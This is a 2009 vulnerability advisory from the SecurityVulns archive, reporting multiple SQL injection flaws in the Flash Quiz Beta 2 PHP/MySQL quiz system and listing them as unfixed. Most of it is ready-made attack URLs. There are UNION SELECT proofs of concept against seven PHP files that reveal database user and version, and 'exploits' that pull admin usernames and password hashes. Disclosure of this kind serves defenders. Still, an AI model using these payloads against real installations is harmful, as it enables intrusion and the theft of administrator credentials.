MULTIPLE SQL INJECTION VULNERABILITIES --Flash Quiz Beta 2-->

2009-05-21T00:00:00
ID SECURITYVULNS:DOC:21865
Type securityvulns
Reporter Securityvulns
Modified 2009-05-21T00:00:00

Description


MULTIPLE SQL INJECTION VULNERABILITIES --Flash Quiz Beta 2-->

CMS INFORMATION:

-->WEB: http://sourceforge.net/projects/flashquiz/ -->DOWNLOAD: http://sourceforge.net/projects/flashquiz/ -->DEMO: N/A -->CATEGORY: CMS / Testing -->DESCRIPTION: A Flash quiz system with a PHP/MYSQL back end supporting multiple quizzes per instance, result tracking, and high score tracking. -->RELEASED: 2009-04-13

CMS VULNERABILITY:

-->TESTED ON: firefox 3 -->DORK: N/A -->CATEGORY: SQL INJECTION -->AFFECT VERSION: Beta 2 (maybe <= ?) -->Discovered Bug date: 2009-05-20 -->Reported Bug date: 2009-05-20 -->Fixed bug date: Not fixed -->Info patch: Not fixed -->Author: YEnH4ckEr -->mail: y3nh4ck3r[at]gmail[dot]com -->WEB/BLOG: N/A -->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo. -->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)

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SQL INJECTION (SQLi):

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<<<<---------++++++++++++++ Condition: magic quotes=OFF/ON +++++++++++++++++--------->>>>


INTRO:

This system is completely vulnerable to sql injection.


PROOFS OF CONCEPT:

[++] GET var --> 'quiz'

[++] File vuln --> 'num_questions.php'

~~~~~> http://[HOST]/[PATH]/num_questions.php?quiz=-1+UNION+ALL+SELECT+concat(user(),0x3A3A3A,version())/*

[++] GET var --> 'quiz' and 'order_number'

[++] File vuln --> 'answers.php'

~~~~~> http://[HOST]/[PATH]/answers.php?quiz=-1+UNION+ALL+SELECT+concat(user(),0x3A3A3A,version())/*

~~~~~> http://[HOST]/[PATH]/answers.php?quiz=-1&order_number=-1+UNION+ALL+SELECT+concat(user(),0x3A3A3A,version())/*

[++] GET var --> 'quiz'

[++] File vuln --> 'high_score.php'

~~~~~> http://[HOST]/[PATH]/high_score.php?quiz=-1+UNION+ALL+SELECT+version(),2,concat(user(),0x3A3A3A,version()),database(),5,6,7/*

[++] GET var --> 'quiz'

[++] File vuln --> 'high_score_web.php'

~~~~~> http://[HOST]/[PATH]/high_score_web.php?quiz=-1+UNION+ALL+SELECT+version(),2,concat(user(),0x3A3A3A,version()),database(),5,6,7/*

[++] GET var --> 'quiz'

[++] File vuln --> 'results_table_web.php'

~~~~~> http://[HOST]/[PATH]/results_table_web.php?quiz=-1+UNION+ALL+SELECT+version(),user(),concat(user(),0x3A3A3A,version()),database(),current_user(),6,database()/*

[++] GET var --> 'quiz' and 'order_number'

[++] File vuln --> 'question.php'

~~~~~> http://[HOST]/[PATH]/question.php?quiz=-1+UNION+ALL+SELECT+concat(user(),0x3A3A3A,version())/*

~~~~~> http://[HOST]/[PATH]/question.php?quiz=-1&order_number=-1+UNION+ALL+SELECT+concat(user(),0x3A3A3A,version())/*

[++[Return]++] ~~~~~> user, version and database in DB.


EXPLOITS:

~~~~~> http://[HOST]/[PATH]/num_questions.php?quiz=-1+UNION+ALL+SELECT+concat(username,0x3A3A3A,password_hash)+FROM+admins/*

~~~~~> http://[HOST]/[PATH]/answers.php?quiz=-1+UNION+ALL+SELECT+concat(username,0x3A3A3A,password_hash)+FROM+admins/*

~~~~~> http://[HOST]/[PATH]/answers.php?quiz=-1&order_number=-1+UNION+ALL+SELECT+concat(username,0x3A3A3A,password_hash)+FROM+admins/*

~~~~~> http://[HOST]/[PATH]/high_score.php?quiz=-1+UNION+ALL+SELECT+1,2,concat(username,0x3A3A3A,password_hash),4,5,6,7+FROM+admins/*

~~~~~> http://[HOST]/[PATH]/high_score_web.php?quiz=-1+UNION+ALL+SELECT+1,2,concat(username,0x3A3A3A,password_hash),4,5,6,7+FROM+admins/*

~~~~~> http://[HOST]/[PATH]/results_table_web.php?quiz=-1+UNION+ALL+SELECT+1,2,concat(username,0x3A3A3A,password_hash),4,5,6,7+FROM+admins/*

~~~~~> http://[HOST]/[PATH]/question.php?quiz=-1+UNION+ALL+SELECT+concat(username,0x3A3A3A,password_hash)+FROM+admins/*

~~~~~> http://[HOST]/[PATH]/question.php?quiz=-1&order_number=-1+UNION+ALL+SELECT+concat(username,0x3A3A3A,password_hash)+FROM+admins/*

[++[Return]++] ~~~~~> username:::password_hash in 'admins' table

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SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k, J. McCray ...

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GREETZ TO: SPANISH H4ck3Rs community!

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